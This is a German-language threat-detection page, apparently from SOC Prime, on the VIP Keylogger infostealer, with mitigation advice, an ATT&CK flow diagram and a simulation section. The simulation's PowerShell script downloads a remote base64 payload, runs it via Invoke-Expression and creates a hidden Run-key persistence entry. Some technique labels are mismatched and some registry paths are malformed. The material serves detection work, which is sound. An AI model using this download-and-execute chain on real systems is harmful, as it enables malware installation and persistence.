SOC Prime Bias: Mittel

18 May 2026 19:04 UTC

VIP-Keylogger und seine mehrschichtigen Ausweichtaktiken

Author Photo
SOC Prime Team linkedin icon Folgen
VIP-Keylogger und seine mehrschichtigen Ausweichtaktiken
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

VIP Keylogger ist eine modulare Bedrohung für Informationsdiebstahl, die über Phishing-Köder wie gefälschte Bankzahlungsbenachrichtigungen verteilt wird. Seine Infektionskette basiert auf bösartigen VBS-, JavaScript- oder Batch-basierten Ladern, die starke Verschleierung, Steganografie in PNG-Bildern und Missbrauch von Umgebungsvariablen verwenden, um PowerShell-Stufen zu verbergen, bevor der endgültige Keylogger gestartet wird. Sobald aktiv, erfasst die Malware Anmeldedaten, Screenshots, Zwischenablageinhalte und WLAN-Passwörter und exfiltriert dann die Daten über mehrere Command-and-Control-Kanäle. Erkennungsbemühungen sollten sich auf verdächtige Registrierungsänderungen, ungewöhnliche Werte von Umgebungsvariablen und abnormale Übergänge von Skriptausführungen zu Binär-Payloads konzentrieren.

Untersuchung

Das Splunk Threat Research Team überprüfte mehr als 200 Laderproben, die im März und April 2026 gesammelt wurden, und dokumentierte deren Namensmuster, Lader-Varianten und den steganografischen Einsatz von PNG-Dateien zur Payload-Zustellung. Forscher rekonstruierten den Deobfuskationsprozess, erkannten den Missbrauch der INTERNAL_DB_CACHE Umgebungsvariable und verfolgten die Persistenz bis zum UserInitMprLogonScript Registrierungsschlüssel. Der Bericht ordnete auch jedes beobachtete Verhalten relevanten MITRE ATT&CK-Techniken zu, um die Detektionsentwicklung zu unterstützen.

Minderung

Organisationen sollten die initialen Phishing-Versuche durch stärkere E-Mail-Sicherheitskontrollen und URL-Filterung stoppen. Verteidiger sollten die Erstellung und Änderung von HKCUEnvironment Werten überwachen, insbesondere übergroße Einträge oder die Verwendung der INTERNAL_DB_CACHE Variable. Die Ausführung skriptbasierter Lader aus benutzerbeschreibbaren Verzeichnissen sollte eingeschränkt werden, und PowerShells eingeschränkter Sprachmodus sollte, wo möglich, durchgesetzt werden. Endpunktsicherheitswerkzeuge sollten auch das Einfügen von Prozessen in aspnet_compiler.exe und verdächtige netsh Aktivitäten erkennen.

Antwort

Wird ein VIP-Keylogger-Indikator entdeckt, sollte der betroffene Host isoliert, flüchtiger Speicher und kürzlich ausgeführte Prozesslogs gesammelt sowie nach bekannten Registrierungsartefakten, PNG-basierten Command-and-Control-URLs und abgelegten Dateien gesucht werden. Die bösartigen Skripte sollten entfernt, aufgedeckte Anmeldedaten zurückgesetzt und eine umfassendere Untersuchung der Umgebung auf verwandte Lader-Artefakte und Persistenzmechanismen durchgeführt werden.

"graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef operator fill:#ff9900 %% Nodes initial_access["<b>Action</b> – <b>T1566 Phishing</b><br/>Malicious .vbs/.js/.bat delivered via email"] class initial_access action execution["<b>Action</b> – <b>T1059.005 Visual Basic</b>, <b>T1059.007 JavaScript</b>, <b>T1059.001 PowerShell</b><br/>Script stagers executed on the host"] class execution action obfuscation["<b>Action</b> – <b>T1027.016 Junk Code Insertion</b>, <b>T1027.003 Steganography</b>, <b>T1027.009 Embedded Payloads</b><br/>Payloads hidden or disguised"] class obfuscation action persistence["<b>Action</b> – <b>T1574.007 Hijack Execution Flow</b> via Registry Logon Script (UserInitMprLogonScript)<br/><b>T1037.001 Boot Logon Init Script</b><br/>Ensures code runs at logon"] class persistence action priv_esc["<b>Action</b> – <b>T1055.002 Process Injection PE</b>, <b>T1055.001 DLL Injection</b>, <b>T1620 Reflective Code Loading</b><br/>Escalates privileges and evades defenses"] class priv_esc action credential_access["<b>Action</b> – <b>T1555.003 Browser Data</b>, <b>T1056.001 Keylogging</b>, <b>T1115 Clipboard Hijacking</b><br/>Collects user credentials"] class credential_access action discovery["<b>Action</b> – <b>T1596.005 External IP Discovery</b> via public services<br/><b>T1016.002 Wiu2011Fi Password Discovery</b><br/>Gathers network information"] class discovery action collection["<b>Action</b> – <b>T1113 Screen Capture</b><br/>Collects visual data from the desktop"] class collection action c2["<b>Action</b> – <b>T1071.001 Web Protocols</b> and Telegram bot API<br/>Provides remote command and control"] class c2 action defense_evasion["<b>Action</b> – <b>T1070.004 File Deletion</b>, <b>T1070.010 Indicator Removal</b><br/>Removes evidence after operation"] class defense_evasion action %% Connections showing attack flow initial_access –>|leads_to| execution execution –>|leads_to| obfuscation obfuscation –>|leads_to| persistence persistence –>|leads_to| priv_esc priv_esc –>|leads_to| credential_access credential_access –>|leads_to| discovery discovery –>|leads_to| collection collection –>|leads_to| c2 c2 –>|leads_to| defense_evasion "

Angriffsablauf

Simulationsausführung

Voraussetzung: Der Telemetrie- & Baseline-Vorabflug-Check muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die entworfen wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die die Erkennungslogik erwartet. Abstrakte oder unzusammenhängende Beispiele führen zu Fehldiagnosen.

  • Angriffs-Narrativ & Befehle:

    1. Erstes Erkennen – der Angreifer führt Get-ADDomain (T1016.002) aus, um Vertrauensbeziehungen in der Domäne zu entdecken.
    2. Payload-Erwerb – mittels Invoke-WebRequest (T1071.001) lädt der Angreifer eine Base64-codierte DLL herunter, die den Keylogger implementiert (T1056.001).
    3. Staging über Umgebungsvariable – die heruntergeladene Zeichenkette wird durch [Environment]::SetEnvironmentVariablein einer benutzerdefinierten Umgebungsvariable gespeichert. Dieser Schritt erfüllt den Fokus der Erkennungsregel auf Manipulation von Umgebungsvariablen.
    4. Dynamische Ausführung – der Angreifer führt die Payload sofort mit Invoke-Expression $env:VIPPayload (T1059.001) aus. Der Keylogger beginnt Keystrokes, Screenshots (T1113) und Zwischenablagendaten (T1115) zu erfassen.
    5. Bereinigung – nach der Etablierung der Persistenz (z. B. Erstellung eines Run-Schlüssels, T1037.001) löscht der Angreifer die temporäre DLL von der Festplatte (T1070.004) und entfernt die Umgebungsvariable, um den forensischen Fußabdruck zu reduzieren.
  • Regressionstest-Skript: Das unten stehende Skript reproduziert die genauen Schritte und erzeugt die Telemetrie, die die Sigma-Regel erwartet.

    # VIP Keylogger Simulation – PowerShell
    # -------------------------------------------------
    # 1. Laden Sie ein Dummy-Payload (Base64-codierter String) herunter
    $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64"
    $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim()
    
    # 2. Speichern Sie das Payload in einer benutzerdefinierten Umgebungsvariablen
    $envVarName = "VIPPayload"
    [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User")
    
    # 3. Dekodieren und führen Sie das Payload über Invoke-Expression aus
    $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload))
    Invoke-Expression $decoded
    
    # 4. (Optional) Persistenz über Run-Schlüssel – demonstriert T1037.001
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`""
    
    # 5. Bereinigung – entfernen Sie die Umgebungsvariable und den Run-Schlüssel-Eintrag
    Start-Sleep -Seconds 30   # zulassen, dass einige Aktivitäten protokolliert werden
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    [Environment]::SetEnvironmentVariable($envVarName, $null, "User")
  • Bereinigungsbefehle: Führen Sie diese Befehle aus, um das System nach dem Test in einen einwandfreien Zustand zurückzuversetzen.

    # Entfernen Sie die für den Test erstellte Umgebungsvariable
    [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User")
    
    # Löschen Sie den Persistenz-Run-Schlüssel-Eintrag, falls vorhanden
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    
    # Löschen Sie alle verbleibenden PowerShell-Verlaufsdatensätze (optional)
    Clear-History